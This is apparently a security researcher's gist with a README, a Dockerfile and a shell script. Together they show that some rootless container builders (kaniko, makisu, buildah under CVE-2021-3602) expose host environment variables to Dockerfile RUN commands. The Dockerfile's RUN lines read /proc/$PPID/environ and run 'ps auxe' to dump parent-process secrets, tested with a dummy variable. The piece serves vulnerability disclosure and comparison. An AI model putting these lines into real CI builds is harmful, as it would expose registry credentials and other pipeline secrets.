Environment variable access within Dockerfile RUN of rootless/unprivileged build tools

README.md

While building untrusted Dockerfiles isn't too safe, it's unexpected that environment variables can be easily leaked without an exploit of some kind.

It's a common task to build containers in CI pipelines, but it's extremely unsafe to pass a Docker socket into the CI environment. Instead, tools like kaniko don't actually create nested containers, but support building Dockerfiles by building everything in userspace. Other tools such as buildkit and buildah support a rootless mode that creates user namespaces but has less isolation than a traditional container.

In CI environments, sensitive data is often stored in environment variables (at a minimum, often Docker push credentials). Unexpectedly, some rootless/unprivileged build tools allow access to environment variables of their host environment. Via /proc/$PPID/environ or ps auxe, some tools can expose environment variables. Additionally, most unprivileged tools allow access to command line arguments of all parent processes inside the container, but it is less likely for sensitive data to be present here.

Most of the above is due to how containers and processes work in Linux. Any process can access the command line arguments of other processes. If the process has the same owner, /proc/*/environ allows accessing environment variables. Most privileged Docker runners will use a separate PID namespace to fully isolate processes. Unprivileged tools cannot do this, and instead often create a user namespace but no PID namespace. If the rootless tool is careful to not pass any sensitive data into the user namespace this can be a reasonably secure design.

• kaniko – ❌   No isolation, all environment variables can be accessed
  • Mostly unavoidable by it's design of not using nested containers. The security section of their README clearly says "kaniko by itself does not make it safe to run untrusted builds inside your cluster, or anywhere else." By design kaniko does not provide any namespace, process, or mount isolation.
• buildkit (rootless) – ✅   Isolated namespace for RUN commands prevents accessing environment variables
• img – ✅   Isolated namespace for RUN commands prevents accessing environment variables
• Buildah 1.21.0 and Podman 3.2.1 with BUILDAH_ISOLATION=chroot – Being fixed. ❌   CVE-2021-3602 environment variables were accidentally passed inside isolated namespace allowing access to environment variables.
  • ✅ Fixed in buildah v1.21.3 or later, see GHSA-7638-r9r3-rmjj
• orca-build – I couldn't get it it's rootless mode to work inside a container

git clone https://gist.github.com/bburky/30a66ab6fd0cfc79dcd8e7810b06ff26 rootless-build
cd rootless-build
bash hack.sh

See comments inline in the Dockerfile and shell script below.

Dockerfile

FROM alpine
RUN apk --no-cache add procps

RUN env
# The environment of RUN commands may have a few interesting extra values in
# it, but shouldn't ever have environment variables from the host environment.

# Makisu don't actually clean this environment though, so all variables are
# easily accessible here.

RUN ps auxe
# Privileged builders will run an entire container for each RUN command and
# the user specified process is always PID 1. There should be no information
# leakage.

# Rootless builders do not fully isolate the RUN command from the host
# environment. At a minimum you will usually be able to read the the command
# line arguments of parent processes.

# If the rootless builder does not isolate the RUN command (e.g. a separate
# user namespace) from the builder itself, it is possible to read environment
# variables passed to the builder. This can expose sensitive CI variables or
# the credentials to push to a Docker registry.

# Kaniko has no isolation between processes and environment variables of parent
# processes may be accessed.

# If a separate user namespace is used for the RUN command, the builder must be
# careful to not pass any sensitive variables inside this environment.

# Buildah 1.21.0 and Podman 3.2.1 are affected by CVE-2021-3602:
# Too many environment variables were passed down to buildah-chroot-exec which
# is inside the namespace of the to the RUN commnand, and allows access
# to them via /proc/*/environ or `ps auxe`.

RUN ps -o user,pid,ppid,userns,command ae || true
RUN ps -o user,pid,ppid,userns,command
# Passing userns to ps will show that many rootless builders with better
# isolation use a separate user namespace for the RUN commands.

# (Some reason these ps commands don't always show the same output, and
# sometimes dies for permission errors. Whatever.)

RUN cat /proc/self/uid_map
# /proc/self/uid_map will also show some details of the user namespace for RUN
# commands.

# privileged runners don't remap the UIDs and use PID namespace isolation I think?
#          0          0 4294967295

# But rootless runners need to ensure they remap UID 0.
# This ensures that UIDs inside the RUN environment do not map to the UID of the builder itself.
#          0       1000          1
#          1       2000      50000

RUN (tr '\0' ' ' </proc/$PPID/cmdline && echo && echo && tr '\0' '\n' </proc/$PPID/environ) || true

# If there are any sensitive variables accessible, they will usually be
# present in the environment of the parent process. procfs can be used instead
# of installing ps.

hack.sh

#!/bin/sh

set -x

##### kaniko
# rootful, unprivileged
# Environment variables of kaniko process (pid 1) can be read.
# The design of kaniko (no actual nested containers or namespaces) makes this mostly unavoidable.
docker run --rm -it \
    -v "${PWD}:/workspace:ro" \
    -e FOO=a-secret-ci-variable \
    gcr.io/kaniko-project/executor:latest \
        --dockerfile Dockerfile \
        --context dir:///workspace/ \
        --no-push

##### makisu
# No longer supported. Very similar to kaniko.
# All environment variables are passed to RUN commands directly (a bug I think?).
# Environment variables of kaniko process (pid 1) can be read.
docker run --rm -it \
    -v "${PWD}:/makisu-context:ro" \
    -e FOO=a-secret-ci-variable \
    gcr.io/uber-container-tools/makisu build \
        --commit=explicit \
        --modifyfs=true \
        --load \
        -t=foo /makisu-context

##### privileged buildkit
# Full container isolation, RUN commands are all pid 1.
# No environment variables are accessible from RUN commands, and no parent processes can even be seen.
docker run --rm -it \
    -v "${PWD}:/tmp/work:ro" \
    -e FOO=a-secret-ci-variable \
    --privileged \
    --entrypoint buildctl-daemonless.sh \
    moby/buildkit:master \
        build \
        --frontend dockerfile.v0 \
        --local context=/tmp/work \
        --local dockerfile=/tmp/work/ \
        --opt filename=Dockerfile \
        --progress=plain

##### rootless buildkit
# Some isolation, separate namespace is used for each RUN command.
# No environment variables are accessible in RUN commands.
# Command line arguments of parent processes are accessible, but not their environment variables.
docker run --rm -it \
    -v "${PWD}:/tmp/work:ro" \
    -e FOO=a-secret-ci-variable \
    -e BUILDKITD_FLAGS=--oci-worker-no-process-sandbox \
    --security-opt seccomp=unconfined \
    --security-opt apparmor=unconfined \
    --entrypoint buildctl-daemonless.sh \
    moby/buildkit:master-rootless \
        build \
        --frontend dockerfile.v0 \
        --local context=/tmp/work \
        --local dockerfile=/tmp/work/ \
        --opt filename=Dockerfile \
        --progress=plain

##### img
# Very similar to rootless buildkit
docker run --rm -it \
    --volume "${PWD}:/home/user/src:ro" \
    -e FOO=a-secret-ci-variable \
    --workdir /home/user/src \
    --security-opt seccomp=unconfined --security-opt apparmor=unconfined \
    r.j3ss.co/img \
        build -t user/myimage --no-console .

##### privileged BUILDAH_ISOLATION=oci buildah
# Full container isolation, RUN commands are all pid 1.
# No environment variables are accessible from RUN commands, and no parent processes can even be seen.
docker run --rm -it \
    -v "${PWD}:/workspace:ro" \
    -e FOO=a-secret-ci-variable \
    -e BUILDAH_ISOLATION=oci \
    --privileged \
    --workdir /workspace \
    quay.io/buildah/stable:v1.21.0 \
        buildah bud -f Dockerfile

##### rootless BUILDAH_ISOLATION=chroot buildah
# No environment variables are directly accessible in RUN commands.
# Some isolation, separate namespace is used for each RUN command.
# Command line arguments of parent processes are accessible.
# CVE-2021-3602 Environment variables are passed down to buildah-chroot-exec inside the created namespace and can be read.
docker run --rm -it \
    -v "${PWD}:/workspace:ro" \
    -e FOO=a-secret-ci-variable \
    -e BUILDAH_ISOLATION=chroot \
    --security-opt=seccomp=unconfined \
    --workdir /workspace \
    quay.io/buildah/stable:v1.21.0 \
        buildah --storage-driver=vfs bud -f Dockerfile

# quay.io/podman/testing is used instead of quay.io/podman/stable to include this PR:
# https://github.com/containers/podman/pull/10680

##### privileged rootless podman build
# Full container isolation, RUN commands are all pid 1.
# No environment variables are accessible from RUN commands, and no parent processes can even be seen.
docker run --rm -it \
    --security-opt=seccomp=unconfined \
    -e FOO=a-secret-ci-variable \
    --env STORAGE_DRIVER=vfs \
    -v "${PWD}:/workspace:ro" \
    --workdir /workspace \
    --privileged \
    --user=podman \
    quay.io/podman/testing \
        podman build .

##### unprivileged rootless podman build (doesn't work?)
# podman build doesn't appear to work rootless inside an unriviliged container. Error:
#   mount `/proc` to `/proc`: Operation not permitted
docker run --rm -it \
    --security-opt=seccomp=unconfined \
    -e FOO=a-secret-ci-variable \
    --env STORAGE_DRIVER=vfs \
    -v "${PWD}:/workspace:ro" \
    --workdir /workspace \
    --user=podman \
    quay.io/podman/testing \
        podman build .

###### unprivileged rootless podman run
# Unprivileged rootless `podman run` seems fine though.
# Some isolation, separate namespace is used for the command.
# No environment variables are accessible of parent processes.
# Command line arguments of parent processes are accessible, but not their environment variables.
docker run --rm -it \
    --security-opt=seccomp=unconfined \
    -e FOO=a-secret-ci-variable \
    --env STORAGE_DRIVER=vfs \
    -v "${PWD}:/workspace:ro" \
    --workdir /workspace \
    --user=podman \
    quay.io/podman/testing \
        podman run alpine sh -c 'apk --no-cache add procps && ps auxe'

###### BUILDAH_ISOLATION=chroot rootless podman build
# podman with BUILDAH_ISOLATION=chroot is the same as buildah
# CVE-2021-3602 Environment variables are passed down to buildah-chroot-exec inside the created namespace and can be read.
docker run --rm -it \
    --security-opt=seccomp=unconfined \
    -e FOO=a-secret-ci-variable \
    --env STORAGE_DRIVER=vfs \
    --env BUILDAH_ISOLATION=chroot \
    -v "${PWD}:/workspace:ro" \
    --workdir /workspace \
    --user=podman \
    quay.io/podman/testing \
        podman build .